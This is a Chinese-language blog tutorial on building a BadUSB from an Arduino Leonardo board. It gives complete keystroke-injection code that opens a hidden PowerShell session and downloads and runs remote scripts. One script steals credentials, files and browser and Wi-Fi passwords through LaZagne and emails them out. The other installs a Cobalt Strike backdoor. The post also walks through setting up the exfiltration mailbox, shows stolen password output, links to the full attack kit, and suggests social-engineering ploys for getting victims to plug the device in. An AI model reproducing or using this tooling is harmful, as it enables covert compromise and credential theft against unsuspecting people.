1. 程式人生 > 其它 >插一個U盤黑一臺電腦-Badusb最詳細製作教程

插一個U盤黑一臺電腦-Badusb最詳細製作教程

0x00前言

有技術交流或滲透測試培訓需求的朋友歡迎聯絡QQ/VX-547006660,需要程式碼審計、滲透測試、紅藍對抗網路安全相關業務可以看置頂博文

2000人網路安全交流群,歡迎大佬們來玩
群號820783253

0x01-簡介

1.概述
在2014年美國黑帽大會上,安全研究人員JakobLell和獨立安全研究人員Karsten Nohl展示了他們稱為“BadUSB”的攻擊方法,這種攻擊方法讓USB安全和幾乎所有和USB相關的裝置(包括具有USB埠的電腦)都陷入相當危險的狀態。

2.Badusb內部結構

從這張圖便可以瞭解到--Badusb和普通的U盤並沒有什麼兩樣,因此迷惑性極高,很容易攻擊成功

3.Badusb Hid攻擊原理
HID是Human Interface Device的縮寫,由其名稱可以瞭解HID裝置是直接與人互動的裝置,。一般來講針對HID的攻擊主要集中在鍵盤滑鼠上,因為只要控制了使用者鍵盤,基本上就等於控制了使用者的電腦。攻擊者會把攻擊隱藏在一個正常的滑鼠鍵盤中,當用戶將含有攻擊向量的滑鼠或鍵盤,插入電腦時,惡意程式碼會被載入並執行。簡而言之,今天要介紹的Badusb利用的是虛擬鍵盤來實現惡意程式碼的執行。

4.Badusb攻擊優勢
攻擊者將惡意程式碼存放於Badusb的韌體中,PC上的防毒軟體無法訪問到U盤存放韌體的區域,因此也就意味著防毒軟體無法應對BadUSB的攻擊。

5.Teensy
攻擊者在定製攻擊裝置時,會向USB裝置中置入一個攻擊晶片,此攻擊晶片是一個非常小而且功能完整的微控制器開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和滑鼠,當你插入這個定製的USB裝置時,電腦會識別為一個鍵盤,利用裝置中的微處理器與儲存空間和程式設計進去的攻擊程式碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。

6.Arduino
Arduino是一款便捷靈活、方便上手的開源電子原型平臺。其開發環境,主要包含兩個主要的部分:硬體部分是可以用來做電路連線的Arduino電路板;另外一個則是Arduino IDE,你的計算機中的程式開發環境。你只要在IDE中編寫程式程式碼,將程式上傳到Arduino電路板後,程式便會告訴Arduino電路板要做些什麼了。

7.攻擊流程
Bad-Usb插入後,會模擬鍵盤對電腦進行操作,通過這些操作開啟電腦的命令終端,並執行一條命令,這條命令將從指定網址下載惡意程式碼(通常為powershell指令碼)並於後臺靜默執行。這些程式碼功能包括:竊取資訊、反彈shell、傳送郵件等,從而實現控制目標機或者竊取資訊的目的。

0x02-準備工作

1.硬體
我在這邊選擇的是BS Micro pro micro leonardo Arduino 開發板,結構是一個USB主控加一塊到兩塊的儲存顆粒。從原理來看。USB主控就是一個帶原生usb介面的微控制器。
雖然它的體積小,但它擁有豐富介面,使其不僅有傳統控制器的功能,還有在電腦上實現滑鼠、鍵盤的功能,串列埠功能,並且無需驅動,能直接實現與電腦的通訊。
它與其他大多數的MCU控制板一個很大的區別是程式設計不需要額外使用程式設計器,直接用USB就可以程式設計。這樣不僅方便、穩定、可靠,還省下了一個程式設計器的錢。

淘寶連結(如果不會編寫指令碼,請購買和作者一樣的開發版,不要貪便宜):
https://item.taobao.com/item.htm?spm=a1z09.2.0.0.3d1f2e8dNaX0hO&id=589099911512&_u=m2i3k6cqf473

實際到貨裝置如圖

2.開發環境安裝
Arduino IDE

kali下已整合,windows下載連結:
http://downloads.arduino.cc/arduino-1.6.4-windows.zip
下載為zip檔案,無需安裝,直接解壓就能用。
注意:不要下載高於1.6.4的版本,否則裝置驅動無法正常安裝!(我被這個坑樂好一段時間)

3.驅動準備
為了可以正常使用ardunio對開發版進行程式設計,需安裝Teensyduino驅動
下載連結http://www.pjrc.com/teensy/td_123/teensyduino.exe

一路Next下來,本處選擇剛剛解壓的ardunio1.64路徑才可以正常安裝

選擇all進行安裝

4.開啟smtp服務
為確保我們的指令碼能夠完美地傳送包含目標主機資訊的郵件,我們需要開啟smtp郵箱服務。本處我使用的是QQ郵箱,開啟方法如下:
進入郵箱,點選設定-賬戶

向下拉即可看到

將頭兩個服務開啟,此過程需要驗證密保~
即可獲得“授權碼”(即後文提到的郵箱密碼)此處的郵箱密碼並不是指QQ密碼

5.伺服器端準備
①首先下載Badusb所需程式碼,程式碼已打包,見文末
②修改壓縮包中的main.ps1的2754行,把打碼的地方改為自己的伺服器IP

③修改main.ps1的2903-2919行 為傳送郵件配置

④修改GetPass.ps1中的前兩行,域名,Getpass.rar實際上是lazagne,用rar下載儘量避免出發安全軟體,這個不放心可以百度下載。command.rar實為bat 因為 lazagne注入lsass時會被安全軟體攔截,所以用bat避免注入。修改GetPass.ps1中的郵箱配置,同main.ps1中的就行

⑤將修改後的全部檔案用HFS(一個簡單的提供http下載軟體)上傳到公網伺服器
HFS連結:http://www.ouyaoxiazai.com/soft/stgj/133/21762.html

兄弟們如果沒有伺服器,可以去買便宜的學生機,或者私聊我。

0x03-Badusb製作

1.將硬體插入電腦

2.開啟Arduino IDE
3.工具->版->選擇“Arduino Leonardo”

4.輸入Windows +R 輸入命令devmgmt.msc開啟裝置管理器
檢視串列埠資訊

5.根據之前的串列埠資訊,開啟ardunio ide選擇--工具->埠->選擇“COM* (Arduino Leonardo)”
6.現在可以看到IDE右下角出現“Arduino Leonardo on COM*”

6.下面進行將程式碼寫入硬體的操作
①複製如下程式碼到ardunio中

void setup(){//初始化 
Keyboard.begin();//開始鍵盤通訊 
delay(5000);//延時 
Keyboard.press(KEY_LEFT_GUI);//win鍵 
delay(500);
Keyboard.press('r');//r鍵
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/main.ps1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊 
Keyboard.begin();//開始鍵盤通訊 
delay(5000);//延時 
Keyboard.press(KEY_LEFT_GUI);//win鍵 
delay(500);
Keyboard.press('r');//r鍵
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊 
}
void loop() {}

請各位將8.8.8.8改成自己的伺服器ip~
註釋寫的應該都很明白了,小夥伴們可以根據自己的需求修改

PS:我這邊選擇執行兩個payload,第一個是我之前教大家修改上傳的main.ps1,這個指令碼實現的是“截圖、使用者憑據匯出,檔案竊取,計算機中瀏覽器/WIFI等密碼的讀取”並將其通過郵箱傳送到我們手中。
第二個Payload是我在cobaltstrike裡面生成的powershell後門,主要為了實現控制持久化,並進行更高層級的滲透。如果小夥伴們不知道cobaltstrike是什麼,簡而言之-這是一款強大的團隊協作APT神器,日後我會寫一個系列教程專門介紹他。

程式碼大體的意思是:
插入BADusb後等待五秒,
切換大寫繞開輸入法
按下Windows+R開啟cmd
模擬輸入一個字串,並回車執行

當你將程式碼寫入完成後,恭喜你,Badusb已製作成功

0x004測試

將Badusb插入電腦,短暫幾秒延時後,發現打開了cmd視窗,輸入了我們下載執行powershell的命令,並回車執行

過了幾分鐘,會來兩封郵件


這裡面便是我們心心念唸的Badusb執行結果
Report.zip內容如圖

Getpass txt內容如下


|==========================                                                                       
|                                                                
|                        The LaZagne Project                       
|                                                                   
|                                                                   
|==========================


########## User: Administrator ##########

------------------- Chrome passwords -----------------

Password found !!!
URL: http://127.0.0.1/login
Login: admin
Password: xunfeng321

Password found !!!
URL: http://10.97.3.177:8080/cgi-bin/login.html
Login: admin
Password: admin
..........內容太多,省略了

Cobaltstrike也收到了會話(我插了好幾次)

0x005攻擊場景

①社工攻擊
小姐姐,我的U盤插我的電腦顯示不出來,你能幫我看看你的電腦可以嗎?

②帶有USB介面的終端機

找到USB介面懟進去,插誰誰懷孕
其他應用場景自行腦補,歡迎評論分享

0x06總結

今天介紹了硬體裝置Badusb的製作及使用,大家可以修改伺服器端的powershell程式碼來實現更多的功能,歡迎評論分享自己的思路
本篇文章耗時7小時,也算是自己寫過比較長的啦,希望老鐵們多多關注。

0x006 Badusb程式碼下載[/md]

連結:https://pan.baidu.com/s/1ODHBZXUlyRxwk75Q6yuIXg
提取碼:zisl